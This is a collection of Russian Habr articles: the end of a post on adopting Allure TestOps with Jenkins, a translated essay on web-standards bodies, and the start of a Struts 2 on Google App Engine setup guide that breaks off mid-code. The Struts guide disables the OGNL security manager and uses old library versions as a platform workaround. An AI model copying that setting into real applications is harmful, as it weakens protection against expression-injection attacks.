Когда пользователь авторизуется под юзером
Тогда пользователь проверяет, что отображается имя юзера
Примеры:
| User |
| user1 |
| user3 |
```
Для логирования API тестов через SerenityRest в Allure TestOps добавил в коде в респонсы фильтр с AllureRestAssured.
**ApiAuthorizationStepDefinitions.java**
```
......
JSONObject requestBody = new JSONObject();
requestBody.put("user_email", user_email);
requestBody.put("user_password", user_password);
response = SerenityRest.given().filter(new AllureRestAssured()).log().all().
and().
body(requestBody.toMap()).
contentType(ContentType.JSON).
post(EndPoints.tokens);
......
```
Для логирования UI-тестов через Selenium в Allure TestOps добавил в коде шаги с получением скрина текущей страницы с помощью класса AllureForScreenshot.
**AllureForScreenshot.java**
```
package allure;
import io.qameta.allure.Allure;
import org.openqa.selenium.OutputType;
import org.openqa.selenium.TakesScreenshot;
import org.openqa.selenium.WebDriver;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
public class AllureForScreenshot {
public void takeScreenshot(WebDriver webDriver) throws FileNotFoundException {
File screenshotAs = ((TakesScreenshot) webDriver).getScreenshotAs(OutputType.FILE);
Allure.addAttachment("Screenshot", new FileInputStream(screenshotAs));
}
}
```
**UiAuthorizationStepDefinitions.java**
```
......
switch (user) {
case "user1":
allureForScreenshot.takeScreenshot(mainPage.getDriver());
mainPage.openAuthForm();
allureForScreenshot.takeScreenshot(authorizationPage.getDriver());
authorizationPage.fillEmailField(user1Email);
allureForScreenshot.takeScreenshot(authorizationPage.getDriver());
authorizationPage.clickAuthLoginButton();
allureForScreenshot.takeScreenshot(authorizationPage.getDriver());
authorizationPage.clickPasswordButton();
allureForScreenshot.takeScreenshot(authorizationPage.getDriver());
authorizationPage.fillPassField(user1Pass);
allureForScreenshot.takeScreenshot(authorizationPage.getDriver());
authorizationPage.clickOnEnterButton();
break;
......
```
Результаты работы API и UI-тестов:
С джобой в Jenkins пришлось повозиться. Она была не параметризированная, параметры задавались на каждом шаге, логика работы билда лежала в Jenkinsfile. Allure TestOps не умеет работать с такими сборками, так как при запуске джобы из Allure она тупо висела в Jenkins на первом шаге, ожидая в интерфейсе ввода значения. Решение было простым – переписать логику Jenkinsfile под параметризированную сборку и поменять тип билда в Jenkins.
#### Jenkins
**Jenkinsfile**
```
pipeline {
agent any
parameters {
gitParameter branchFilter: 'origin/(.*)', defaultValue: '', name: 'BRANCH', type: 'PT_BRANCH'
choice(name: 'TEST_SUITE', choices: ['TestSuite', 'Parallel'], description: 'Выберите способ запуска тестов')
choice(name: 'TYPE_OF_TESTS', choices: ['@api', '@ui'], description: 'Выберите тип тестов')
choice(name: 'MODULE_OF_TESTS', choices: ['Список модулей тестов через @'],
description: 'Выберите модуль тестов')
choice(name: 'ENV_1', choices: ['Список тестовых стендов'],
description: 'Выберите стенд')
}
stages {
stage("Run tests") {
steps {
script {
def inptext = readFile file: "serenity.properties"
inptext = inptext.replaceAll("env1", "${params.ENV_1}")
writeFile file: "serenity.properties", text: inptext
sh """ls ./"""
wrap([$class: 'Xvfb', additionalOptions: '', assignedLabels: '', displayNameOffset: 3, installationName:
'xvfb', parallelBuild: true, screen: '1600x1200x24']) {
sh 'printenv'
sh """mvn clean verify -Dcucumber.options=\"--tags '${params.MODULE_OF_TESTS} and ${params.TYPE_OF_TESTS}'\" -Denvironment=${params.ENV_1} -Dtype.of.suite=${params.TEST_SUITE}"""
}
}
}
}
}
post {
always {
withAllureUpload(indexExistingFiles: true, serverId: 'Id сервера в Allure TestOps', projectId: 'Номер проекта в Allure TestOps',
results: [
[path: 'target/allure-results']
]) {
}
}
}
}
```
Результаты прогона отправляются на последнем этапе работы билда. Внешний вид прогонов в Jenkins:
Джоба в Allure TestOps имеет вид:
Мы запускаем билд через параметры в environment. Это удобно, так как можно создать значения в данной форме, которые будут выбираться из выпадающего списка, исключая повторный ввод вручную. Есть нюанс с дефолтными полями: Device, OS, Host, Browser, Environment – к сожалению, их нельзя удалить либо отключить, если они не используются. Приходится игнорировать их при запуске джобы.
Внешний вид прогона в Allure TestOps:
Под ручные и авто тесты я создал один общий проект.
Разделил в фильтрах ручные тестовые артефакты по командам, внутри каждой команды тест кейсы и чек-листы разделены по функционалу. Автоматизированные кейсы лежат в отдельных фильтрах (API, UI). В ближайшем будущем планирую также разделить их по командам.
 В Allure TestOps по дефолту три уровня вложенности и есть шаблон под тестовые артефакты (тест-кейсы, чек-листы).
В самом тестовом артефакте можно:
* проставлять различные тэги;
* линковать его с тасками в багтрекере;
* писать в нем комментарии
* прикреплять файлы и изображения;
* вешать различные роли (владелец, ревьювер и прочие, в зависимости от флоу тестирования);
* менять его статусы;
* создавать с ним ручные и авто прогоны, линковать их в той же Jira, выполнять по шагам, проставляя статусы (Passed, Failed, Skipped и прочие).
Также присутствует возможность заведения дефектов параллельно с созданием сущностей в Jira.
Allure TestOps позволяет отслеживать статусы заведенных дефектов в багтрекере (что крайне удобно) для своевременного их закрытия в Allure.
**Инструкции мы создали в Confluence**, провели QA-ретро и познакомились всем отделом качества с функционалом Allure TestOps.
**Начали работать с Allure.** Наш флоу: анализ задачи, написание тестовой документации, командное кроссревью, созданного тестового артефакта, ручное тестирование, автоматизированное тестирование (смоук, регресс), деплой. **Какие трудности мы испытали:**
* нельзя переносить папки с тестовыми артефактами в интерфейсе Allure;
* заведение дефектов параллельно с созданием задач в Jira вызывает дискомфорт, так как требуется переход в баг-трекер для дозаполнения тасок;
* не хватает почтовых уведомлений при ревью тестовой документации, да и вообще для любых изменений в TMS;
* в нашем случае для запуска джобы автотестов было бы удобно создавать несколько environments, тем самым запуская за раз несколько билдов в Jenkins, но у нас так не работает;
* не хватает аналитики по заведенным дефектам
* хотелось бы метрики с дашбордов экспортировать в pdf для передачи отчетов заинтересованным лицам
Прошел спринт и я **собрал первые метрики по проделанной работе** QA-отдела. Для этого в Allure TestOps можно создавать отдельные дашборды на главной странице проекта и с помощью AQL помещать в них диаграммы по [сущностям](https://docs.qameta.io/allure-testops/advanced/aql/format/) Allure. Результаты радуют, QA активно работают в новой TMS, выполняют ручные и автоматизированные прогоны, заводят дефекты. **Чего не хватает для сбора аналитики:** AQL для заведенных в Allure TestOps багов и их параметров, но вроде бы Qameta скоро релизнет такой функционал.
**Итог:** с момента самостоятельного внедрения Allure TestOps до запуска проекта и начала работы в нем прошло порядка двух месяцев. Большое спасибо компании [Qameta](https://qameta.io/) за предоставленный продукт, а команде поддержке за своевременную и полноценную помощь. Мы получили уникальный и полезный опыт при работе с продуктом. Ждем с нетерпением новых релизов и пользуемся тем, что уже есть!
**Спасибо за уделенное время, если у вас есть вопросы – буду рад на них ответить в комментариях.** | https://habr.com/ru/post/689330/ | null | ru | null |
# Будущее веб-стандартов
*Примечание: ниже находится перевод статьи [The future of web standards](http://www.b-list.org/weblog/2007/dec/17/standards/), в которой автор рассматривает текущее состояние организаций, связанных с разработкой веб-стандартов, и возможное будущее как организаций, так и самих веб-стандартов вообще. Мои комментарии далее даны курсивом.*
Индустрию веб-дизайна и веб-разработок, основанных на применении стандартов, в последнее время достаточно сильно будоражит. Статья Andy Clarke [«CSS Unworking Group»](http://www.stuffandnonsense.co.uk/malarkey/more/css_unworking_group/), по видимому, открыла дорогу обсуждению текущего неудовлетворительного состояния подхода (или отсутствия оного) по стандартизации новых возможностей для веб-разработчиков и дизайнеров. Статья Alex'а Russell [«The W3C Cannot Save Us»](http://alex.dojotoolkit.org/?p=642) и моего друга и бывшего коллеги Jeff'a Croft [«Do we need a return to the browser wars?»](http://www2.jeffcroft.com/blog/2007/dec/16/do-we-need-return-browser-wars/) продолжила эту дискуссию, как и Stuart Langridge c [«Reigniting the browser wars»](http://www.kryogenix.org/days/2007/12/17/reigniting-the-browser-wars), которая появилась уже после того, как я закончил первый черновой вариант этой своей заметки.
В конечном счете, я думаю, все поднятые вопросы можно отнести к одной из двух больших проблем:
Первая, не слишком лицеприятная, заключается в том, что текущий прогресс разработки новых стандартов, в лучшем случае, заморожен. HTML был создан из первоначальной задумки до версии 4.01 менее чем за десятилетие. Но текущая версия 4.01 не изменялась еще с конца прошлого тысячелетия (XHTML не сильно лучше: версия 1.0 была, практически, идентична HTML 4.01, за исключением XML-синтаксиса, а XHTML 1.1 не сильно изменил ситуацию, так как все новшества фокусировались на реорганизации и разделении стандартов на модули). Совершенно аналогично, CSS застыл на спецификации версии 2 с 1998, а [CSS 2.1](http://www.w3.org/TR/CSS21/) по-прежнему всего лишь «Candidate Recommendation».
Второй проблемой является то, что все основные нововведения в интернете появляются из проприетарных технологий: Flash выскакивает везде, где только можно, Microsoft и Adobe раздельно работают над следующим поколением RIA (*rich internet application*), а наиболее модное слово — «AJAX» — изначально произошло из исключительно Microsoft'овской технологии (`XMLHttpRequest`), которая тем или иным образом была включена в другие браузеры.
Если взглянуть на обе эти проблемы повнимательнее, то возникает закономерный вопрос: что же произойдет с веб-стандартами, если интернет как среда для обмена информацией в один прекрасный момент исчезнет? Что произойдет, если все тексты и приложения более не будут общедоступными и окажутся разделенными стеной ограничений на частную собственность, а все новые возможности будут предоставляться исключительно в частном порядке?
Рассмотренные вопросы — медленная скорость стандартизации и инновации, узаконивающие пока-еще-нестандартные вещи, — очевидно, сильно связаны. Естественный вопрос: как же решить их в совокупности, как обеспечить такой процесс стандартизации, который смог бы быстро реагировать на новые идеи и поощрить внедрение уже имеющихся стандартов?
Хотя я и не могу предложить никакого выхода из сложившейся ситуации, но у меня есть пара мыслей по поводу возможного пути ее решения, и ниже я хотел бы обсудить, где можно найти успешную модель поведения для такой ситуации.
### Ложная дилемма моделей стандартизации
Одним из наиболее существенных моментов при решении этих проблем является то, что бОльшая часть дискуссии проходит при изначальном предположении ложной дилеммы (*[false dilemma](http://en.wikipedia.org/wiki/False_dilemma)*), которая подразумевает, что существуют только два пути для осуществления процесса стандартизации:
1. Закрытая система с высоким цензом, плати-и-входи. Сейчас W3C воспринимается именно в таком ключе.
2. Увлеченное сообщество, полностью регулируемое своими участниками.
Естественно, существует **не только две** такие возможности, но лишь немногие (например, Daniel Glazman), по видимому, отдают себе отчет, что это действительно так. Поэтому, во-первых, нам нужно отказаться от этой дилеммы вообще и понять, что на самом деле существует бесконечное множество возможных организаций сообщества, которые лежат между этими двумя полюсами. Другими словами, мы должны найти баланс между вкладом людей, которые используют и разрабатывают интернет-приложения, и теми, которые разрабатывают сами браузеры и сопутствующие технологии.
### В поисках баланса
Это приводит нас к следующему вопросу: как нам добиться согласия между конкурирующими интересами веб-производителей и веб-пользователей/разработчиков? Лично мне кажется, что за ответом стоит обратиться к нашей истории: в мире веб-стандартов не нужно искать новых путей для обретения такого согласия, уже известно достаточно успешных примеров такого развития, и те, кто захотят реформировать саму организацию процессов веб-стандартизации, должны будут на них опереться.
В первую очередь, я думаю в сторону разработок программного обеспечения с открытым кодом (*open-source*), которые сталкивались с похожими проблемами уже много раз: существует огромное количество абсолютно разного программного обеспечения с открытым кодом, которое используется как «среднестатистическим американцем», так и международными корпорациями, и только немногие из таких проектов успешно развиваются. Одним из таких примеров успеха может послужить ядро Linux; сообщество, участвующее в его разработке, не является ни закрытым, ни полностью открытым, но чем-то между этими двумя крайностями. Разработка Linux не является ни диктаторским режимом, ни демократией: Linus Torvalds и его доверенные «лейтенанты» полностью удерживают контроль над всем проектом, но при этом любой вклад от активного сообщества принимается к рассмотрению. И хотя не все мнения признаются одинаковыми, процесс принятия решения, каким мыслям придать больше веса, а каким — меньше, по-видимому, является весьма практичным и справедливым.
В результате, участие больших корпораций не превращает Linux в закрытое сообщество разработчиков, и более мелких участники могут свободно обсуждать и развивать проект без превращения оного в «кричащую толпу» (*howling mob*). Это, определенно, успех, и такую модель поведения ни в коем случае не стоит упускать из рассмотрения при реформировании процесса веб-стандартизации.
Естественно, существует еще множество замечательных примеров успешных сообществ: Perl, Python и Ruby, например, все разрабатываются с открытым исходным кодом, но полностью контролируются единственным «BDFL» (*бессрочным великодушным диктатором, Benevolent Dictator For Life*) и(ли) его несколькими «лейтенантами». Успех такой организации во множестве различных отраслей показывает, что процесс в целом протекает исключительно благоприятно: общий шаблон поведения, при котором все вносимые изменения обсуждаются в присутствии нескольких высокопрофессиональным специалистов, обладающих большим кредитом доверия. Они и правят балом, и обладают достаточным весом для принятия финальных решений: какие изменения должны быть внесены, а какие стоит отклонить или подвергнуть дальнейшему обсуждению. Эти же специалисты должны предотвращать все возможные минусы от применения любой из двух полярных моделей, описанных выше.
### Сперва W3C, затем WHAT
Возникает естественный вопрос, может ли [WHATWG](http://www.whatwg.org/), которая в течение нескольких лет работает над оптимизацией, улучшением и расширением многочисленных стандартов, взять на себя труд довести до ума процесс веб-стандартизации, чтобы он осуществлялся таким же образом, как сейчас живет проект по разработке Linux и многие другие успешные проекты с открытым кодом.
В данном случае я, честно, не представляю, каким образом это может быть осуществлено, и не знаю никого, кто бы представлял, хотя недостатка во мнениях как за, так и против не ощущается. Гораздо более компетентные и грамотные специалисты, чем я, высказываются совершенно по-разному, одни говорят, что WHATWG находится на верном пути развития, другие утверждают, что это дурацкая затея. Однако, есть пара обнадеживающих вещей:
* Хотя группа в целом является открытой, и вступить в нее может любой желающий, ею достаточно жестко управляет собственный «BDFL» — Ian Hickson — который, возможно, знает о веб-браузерах и их истории больше любого из живущих. Участие Ian ' а в WHATWG очень сильно смахивает на классическое поведение BDFL в успешных проектах с открытым кодом: он знает эту область лучше любого из участников, охотно руководит рассмотрением и принятием даже малейшего вклада в общий процесс от любого из участников. Также он, если кто в курсе событий в рассылке WHATWG с сентября 2004, обладает большим опытом в разрешении конфликтов, удовлетворении всех интересов и поиске хороших компромиссных решений.
* Хотя WHATWG и является достаточно молодой группой, она уже добилась некоторых значительных результатов: Apple, Mozilla и Opera по-прежнему активно работают над реализацией различных рекомендаций от WHATWG. Группа также обладает готовностью поддерживать необходимые нововведения, которые требуется перенести из одной области в другую (в качестве примера можно привести API (*Application Programming Interface*) для автономного (*offline*) хранения данных, которое явилось на свет и получило свое развитие благодаря Google Gears).
Скорее всего, кто-то обязательно вспомнит недавнее волнение по поводу медиа-кодеков в качестве примера, когда WHATWG слишком сильно защищала корпоративные интересы, но я не разделяю эту точку зрения (хотя, если быть честным, я также не уверен, что задача HTML-спецификация состоит в том, чтобы указывать, какими медиа-форматами стоит пользоваться, а какими — нет). В отличие от многих людей, которые с пеной у рта начинают доказывать свою позицию по этому поводу, я просто слежу за дискуссией, и пока ничего в ней не вызвало во мне противоречий. Спецификация больше не так настоятельно рекомендует Ogg Theora, но по-прежнему оставляет возможность для реализации поддержки открытых и свободно распространяемых медиа-форматов. В конечном счете может оказаться, что «неизвестное неизвестного» (*unknown unknown*) (воспользуюсь цитатой из Tao от Donald Rumsfeld) будет хуже для больших компаний, чем известное неизвестного в реализации Theora. И текущий язык черновой рекомендации более похож на голос дантиста, который утверждает, что больной зуб когда-нибудь да выпадет.
В любом случае, сейчас слишком рано говорить о какой бы то ни было определенности. И неизвестно, сможет ли WHATWG взять в свои руки работу над веб-спецификациями, в особенности, над CSS. В основном, сейчас работа WHATWG сфокусирована на HTML и DOM, как указано в [текущей черновой спецификации WHATWG](http://www.whatwg.org/specs/web-forms/current-work/#r-to-css).
### Монстр Microsoft'а
Наиболее существенным препятствием для любых реформ в области веб-стандартизации является присутствие Microsoft и все, с нею связанное. При том что Microsoft является действительным членом W3C и участником многочисленных рабочих групп, все **реализации** итоговых стандартов крайне незначительны, если не сказать, смешны. И это при всем при том, что Internet Explorer занимает доминирующее положение на рынке браузеров, что, естественно, ведет к тому, что все достижения в мире веб-стандартов будут обречены на провал, если не получат существенную поддержку со стороны Microsoft.
Но с этой точки зрения, честно говоря, я не уверен, что позиция Microsoft может быть существенной. В конце концов, по-видимому, никто ее не рассматривает как существенную.
Если вы еще не ознакомились со статьей Joel Spolsky [«Fire and Motion»](http://www.joelonsoftware.com/articles/fog0000000339.html), сделайте это сейчас, потому что все мои слова не будут столь информативными в противном случае. Давайте, прочитайте ее прямо сейчас (*прим.: в статье автор забавно рассуждает о том, как Microsoft применяет принцип «Стреляй и Беги», «Fire and Motion», в действии*), она очень интересная, но самое главное, что хотелось бы выделить на фоне остальных фактов, это доминирующее положение Microsoft ' а по причине, которую сам Joel очень красноречиво высказал при помощи сравнения ее с боевой тактикой пехоты:
> Конкурентам ничего не остается, как выделять все свое время на перенос *[возможностей с одной платформы на другую]* и поддержку *[своих программ]*, выделенные на это ресурсы уже нельзя потратить на разработку новых возможностей. Давайте окинем общим взглядом рынок программного обеспечения. Компании, которые добились успеха, ориентируются только на большие корпорации и не закладываются в своих жизненных циклах разработок на исправления ошибок, которые характерны только для Windows XP. Те же, кто постоянно отстает, пытаются гаданием на кофейной гуще предсказать направление инноваций в Microsoft. Люди беспокоятся по поводу .NET и решают переписать всю архитектуру под .NET, потому что им кажется, что так нужно сделать. Microsoft постоянно атакует *[новыми идеями и разработками]*, а им ничего не остается, как принимать огонь на себя, а не двигаться вперед, ибо так делаются дела, дружок.
Однако, давайте теперь остановимся и посмотрим на Internet Explorer 7 (о-да, я имею в виду «Windows Explorer 7»). IE7 является прекрасным примером того, как Microsoft, несмотря на всю мощь своей рекламной кампании, вынуждена уступить требованиям индустрии. Mozilla, Apple и Opera атакуют ее со всех сторон: табы в браузере, повышенная безопасность, и все те улучшения, без которых люди просто не могут жить — и Microsoft вынуждена изменить своей собственной стратегии. Как следствие, многие производители программного обеспечения, стараясь успеть за Microsoft, выпускают некачественные продукты, при этом Microsoft, как это ни странно, приходится идти на поводу у интернет-сообщества и выпускать некачественный браузер.
То же самое сейчас происходит с Microsoft одновременно по нескольким направлениям:
* Появление Apple буквально повсюду и успех ее продуктов свидетельствуют о том, что Microsoft уже не является лидером на рынке операционных систем. В результате этого Vista провисла: все, что могло быть в ней интересного, уже давно появилось на свет, и выход Vista является всего лишь попыткой догнать OS X и представить хотя бы какой-то конкурентный аналог.
* Явное доминирование в интернете технологии Flash и появление первых приложений на AIR (*Adobe Integrated Runtime*) и JavaFX опять заставляют Microsoft «догонять» индустрию, только уже на другом фронте: в виде расширения для браузера Silverlight для нужд настольных API.
Microsoft проигрывает; она безуспешно пытается следовать тому, что уже сделано, тогда как отрасль предлагает все новые возможности и технологические решения. Естественно, панихиду по Microsoft играть пока рано, совсем рано: IE по-прежнему является лидером среди браузеров, и Windows по-прежнему лидирует среди операционных систем. Но в индустрии уже заметны волны изменений: Microsoft, непробиваемый джаггернаут, все же несет потери, и ей приходится следовать всем нововведениям, чтобы не упустить доминирующего положения. В данном случае можно процитировать Lewis Carroll, что она бежит так быстро, насколько может, но все равно остается на месте.
И, конечно же, Microsoft действительно не отвечает за фактическое будущее веб-стандартов. Любая разработка, которая возникнет в этой индустрии, будет только доливать масла в огонь, на котором жарится корпорация. У Microsoft просто не останется выбора, как продолжить свое «преследование», независимо от качества своего участия в общей процессе.
### Куда катится мир?
Я действительно не знаю. Прямо сейчас я занимаюсь некоторыми наблюдениями в этой области и делаю небольшой анализ ситуации. Я всерьез полагаю, что затронутые аспекты окажут сильное влияние на любое принятое по данному вопросу решение:
* Любой процесс по обновлению *[стандартов]* должен прийти к равновесию где-то между двумя полюсами: закрытым сообществом и «кричащей толпой», и начинать нужно с осознания того факта, что существуют не только эти два полюса.
* По-видимому, лучшим местом для успешных примером является сообщество разработчиков программного обеспечения с открытым кодом.
* WHATWG подает определенные надежды, но пока рано говорить, на что оно способно, и является ли оно панацеей в данной ситуации.
* Участие Microsoft не стоит далее рассматривать как существенное.
Но и после всего сказанного, я не знаю правильного пути решения проблемы. В данный момент я пристально слежу за WHATWG (как и последние несколько лет, ибо это единственная организация, которая действительно что-то делает), но, может быть, будет иметь место и более благоприятный вариант. Я считаю, что наиболее важным шагом для всех, кто недоволен ситуацией со **статусом кво**, должно стать принятие решения о дальнейших действиях. Andy Clarke [уже предложил пару идей](http://www.stuffandnonsense.co.uk/malarkey/more/csswg_proposals/), но при этом забавно высмеял мысль о принятии общего решения путем консенсуса, пока все предложения выдвигаются самим сообществом (и, по-видимому, сильно увлекся ложной дилеммой, описанной выше). Это все замечательно, особенно осознание того факта, что, возможно, присутствует другая возможность по развитию событий, но в каком именно направлении они будут развиваться, предсказать практически невозможно. Итак, я позволю себе закончить цитатой по этому поводу от одного из моих любимейших философов, G.K. Chesterton (из первой части его удивительной книги **Еретики**):
> Предположим, на улице началась безобразная свара из-за газового фонаря, который желают снести много влиятельных персон. В разгар ссоры появляется монах в сером одеянии, воплощающий дух Средневековья, и начинает заунывно вещать в сухой манере схоластов: «Собратья, давайте прежде всего рассмотрим достоинства Света. Ежели Свет есть Добро…» В этот момент его милосердно сшибают с ног. Возле фонарного столба возникает сутолока, через десять минут столб повален, и все поздравляют друг друга с практическим достижением, не свойственным Средневековью.
>
>
>
> Однако дальше дело развивается туго. Одни валили столб, потому что хотели электрического света; другим требовалось ржавое железо; третьи — потому что любят темноту, в которой вершат злые дела. Кое-кому одного столба мало, надо больше; кое-кто присоединился, потому что подумывал сокрушить городскую управу; кое-кто просто хотел что-нибудь сокрушить. И вскоре в ночи разгорается война, и никто не знает, против кого сражается. И медленно, но неизбежно — сегодня, завтра или послезавтра — люди приходят к выводу, что монах был все-таки прав, и все зависит от доктрины Света.
>
>
>
> Только теперь то, что можно было обсуждать при свете газового фонаря, придется обсуждать в темноте.
>
>
>
> [Источник перевода](http://www.chesterton.ru/heretics/chapter01.asp)
>
>
*Спасибо всем, кто нашел в себе силы дочитать до конца. Будет замечательно, если вы еще и напишите ваши мысли по поднятой проблеме.*
[Web Optimizator: проверка скорости загрузки сайтов](http://webo.in/) | https://habr.com/ru/post/31357/ | null | ru | null |
# Struts 2 на Google App Engine. Рецепты настройки
Для использования [одного из самых удобных веб фреймворков для java](http://struts.apache.org/2.x/) на популярной облачной платформе [Google AppEngine](http://code.google.com/appengine/) необходимо совершить ряд действий. Данная статья появилась в результате моих продолжительных экспериментов. Буду рад, если Вы поделитесь своим опытом работы с вашими любимыми фреймворками на платформе GAE в коментариях :-)
##### Используемые библиотеки
Я использую обычно следующий набор библиотек:
* commons-fileupload-1.2.1.jar
* commons-io-1.3.2.jar
* commons-logging-1.0.4.jar
* commons-logging-api-1.1.jar
* freemarker-2.3.13.jar
* ognl-2.6.11.jar
* struts2-core-2.1.6.jar
* xwork-2.1.2.jar
Я пользуюсь IntelliJ Idea 9 и она подкачивает зависимости автоматически после того, как я указываю использование Struts 2 при создании проекта. Также существует возможность развертывать приложения на облачной платформе через специальное меню IDE, и вообще поддержка AppEngine на очень хорошем уровне.
Далее необходимо обойти или адаптироваться к ограничениям облачной платформы, ибо Appengine запрещает прямой доступ к тредам, файловым и многим другим ресурсам.
##### Настройка Ognl SecurityManager-а
Необходимо создать листнер, настраивающий Ognl SecurityManager при старте приложения:
> `1. package su.mvc.util;
> 2.
> 3. import ognl.OgnlRuntime;
> 4.
> 5. import javax.servlet.ServletContextEvent;
> 6. import javax.servlet.ServletContextListener;
> 7.
> 8. public class GaeContextListener implements ServletContextListener {
> 9. public void contextInitialized(ServletContextEvent servletContextEvent) {
> 10. OgnlRuntime.setSecurityManager(null);
> 11. }
> 12.
> 13. public void contextDestroyed(ServletContextEvent servletContextEvent) {
> 14. //
> 15. }
> 16. }`
А далее подключить его в дескрипторе развертывания приложения web.xml:
> `1. </fontxml version="1.0" encoding="UTF-8"?>
> 2. <web-app xmlns="http://java.sun.com/xml/ns/javaee"
> 3. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
> 4. xsi:schemaLocation="http://java.sun.com/xml/ns/javaee java.sun.com/xml/ns/javaee/web-app\_2\_5.xsd"
> 5. version="2.5">
> 6.
> 7.
> 8. <listener>
> 9. <listener-class>su.mvc.util.GaeContextListenerlistener-class>
> 10. listener>
> 11.
> 12.
> 13. web-app>`
##### Преобразование типов Test и Key
В Appengine широко используются следующие типы:
* **com.google.appengine.api.datastore.Text** для управления большими текстовыми данными
* **com.google.appengine.api.datastore.Key** используется в качестве [Id](https://habrahabr.ru/users/id/) для сущностей. К сожалению, AppEngine позволяет корректно работать с отношениями сущностей только в случае использования Key в качестве [Id](https://habrahabr.ru/users/id/)
Для использования этих типов на веб формах необходимо определить прямое и обратное преобразование этих типов к строке:
> `1. package su.mvc.util.converters;
> 2.
> 3. import com.google.appengine.api.datastore.Text;
> 4. import ognl.DefaultTypeConverter;
> 5.
> 6. import java.util.Map;
> 7.
> 8. public class TextConverter extends DefaultTypeConverter {
> 9. @Override
> 10. public Object convertValue(Map map, Object o, Class toType) {
> 11. if (toType == Text.class) {
> 12. String value = ((String[]) o)[0];
> 13. return new Text(value);
> 14. } else if (toType == String.class) {
> 15. Text text = (Text) o;
> 16. return text.getValue();
> 17. }
> 18.
> 19. return null;
> 20. }
> 21. }`
> `1. package su.mvc.util.converters;
> 2.
> 3. import com.google.appengine.api.datastore.Key;
> 4. import com.google.appengine.api.datastore.KeyFactory;
> 5. import ognl.DefaultTypeConverter;
> 6.
> 7. import java.util.Map;
> 8.
> 9. public class KeyConverter extends DefaultTypeConverter {
> 10. @Override
> 11. public Object convertValue(Map map, Object o, Class toType) {
> 12. if (toType == Key.class) {
> 13. String s = ((String[]) o)[0];
> 14. return KeyFactory.stringToKey(s);
> 15. } else if (toType == String.class) {
> 16. Key k = (Key) o;
> 17. return KeyFactory.keyToString(k);
> 18. }
> 19.
> 20. return null;
> 21. }
> 22. }`
Осталось задекларировать созданные конверторы в файле xwork-conversion.properties:
> `1. сom.google.appengine.api.datastore.Text=su.mvc.util.converters.TextConverter
> 2. com.google.appengine.api.datastore.Key=su.mvc.util.converters.KeyConverter`
##### Использование Convention плагина
Горячо любимый мною Convention плагин используется для реализации концепции Convention-Over-Configuration и существенно сокращает время на конфигурирование приложение. К сожалению при работе со Struts 2 **придется забыть** об этом плагине.
##### Патч Freemarker на TextBlock
Даже если Вы не используете Freemarker для реализации UI, при использовании стратсовых JSP тегов Freemarker необходимо пропатчить. Для этого необходимо создать в своем приложении класс **freemarker.core.TextBlock** следующего содержания:
> `//
>
> //Workaround for groups.google.com/group/google-appengine-java/browse\_thread/thread/186c3fc515e6f6ae
>
> //
>
>
>
> /\*
>
> \* Copyright (c) 2003 The Visigoth Software Society. All rights
>
> \* reserved.
>
> \*
>
> \* Redistribution and use in source and binary forms, with or without
>
> \* modification, are permitted provided that the following conditions
>
> \* are met:
>
> \*
>
> \* 1. Redistributions of source code must retain the above copyright
>
> \* notice, this list of conditions and the following disclaimer.
>
> \*
>
> \* 2. Redistributions in binary form must reproduce the above
>
> copyright
>
> \* notice, this list of conditions and the following disclaimer in
>
> \* the documentation and/or other materials provided with the
>
> \* distribution.
>
> \*
>
> \* 3. The end-user documentation included with the redistribution, if
>
> \* any, must include the following acknowledgement:
>
> \* "This product includes software developed by the
>
> \* Visigoth Software Society (http://www.visigoths.org/)."
>
> \* Alternately, this acknowledgement may appear in the software
>
> itself,
>
> \* if and wherever such third-party acknowledgements normally
>
> appear.
>
> \*
>
> \* 4. Neither the name "FreeMarker", "Visigoth", nor any of the names
>
> of the
>
> \* project contributors may be used to endorse or promote products
>
> derived
>
> \* from this software without prior written permission. For written
>
> \* permission, please contact visigo...@visigoths.org.
>
> \*
>
> \* 5. Products derived from this software may not be called
>
> "FreeMarker" or "Visigoth"
>
> \* nor may "FreeMarker" or "Visigoth" appear in their names
>
> \* without prior written permission of the Visigoth Software
>
> Society.
>
> \*
>
> \* THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
>
> \* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
>
> \* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
>
> \* DISCLAIMED. IN NO EVENT SHALL THE VISIGOTH SOFTWARE SOCIETY OR
>
> \* ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
>
> \* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
>
> \* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
>
> \* USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
>
> \* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
>
> \* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
>
> \* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
>
> \* SUCH DAMAGE.
>
> \*
>
> ====================================================================
>
> \*
>
> \* This software consists of voluntary contributions made by many
>
> \* individuals on behalf of the Visigoth Software Society. For more
>
> \* information on the Visigoth Software Society, please see
>
> \* www.visigoths.org
>
> \*/
>
>
>
> package freemarker.core;
>
>
>
> import java.io.IOException;
>
>
>
> /\*\*
>
> \* A TemplateElement representing a block of plain text.
>
> \* @version $Id: TextBlock.java,v 1.17 2004/01/06 17:06:42 szegedia
>
> Exp $
>
> \*/
>
> public final class TextBlock extends TemplateElement {
>
> private static final char[] EMPTY\_CHAR\_ARRAY = new char[0];
>
> static final TextBlock EMPTY\_BLOCK = new TextBlock
>
> (EMPTY\_CHAR\_ARRAY, false);
>
> // We're using char[] instead of String for storing the text block because
>
> // Writer.write(String) involves copying the String contents to a char[]
>
> // using String.getChars(), and then calling Writer.write(char[]). By
>
> // using Writer.write(char[]) directly, we avoid array copying on each
>
> // write.
>
> private char[] text;
>
> private final boolean unparsed;
>
>
>
> public TextBlock(String text) {
>
> this(text, false);
>
> }
>
>
>
> public TextBlock(String text, boolean unparsed) {
>
> this(text.toCharArray(), unparsed);
>
> }
>
>
>
> private TextBlock(char[] text, boolean unparsed) {
>
> this.text = text;
>
> this.unparsed = unparsed;
>
> }
>
>
>
> /\*\*
>
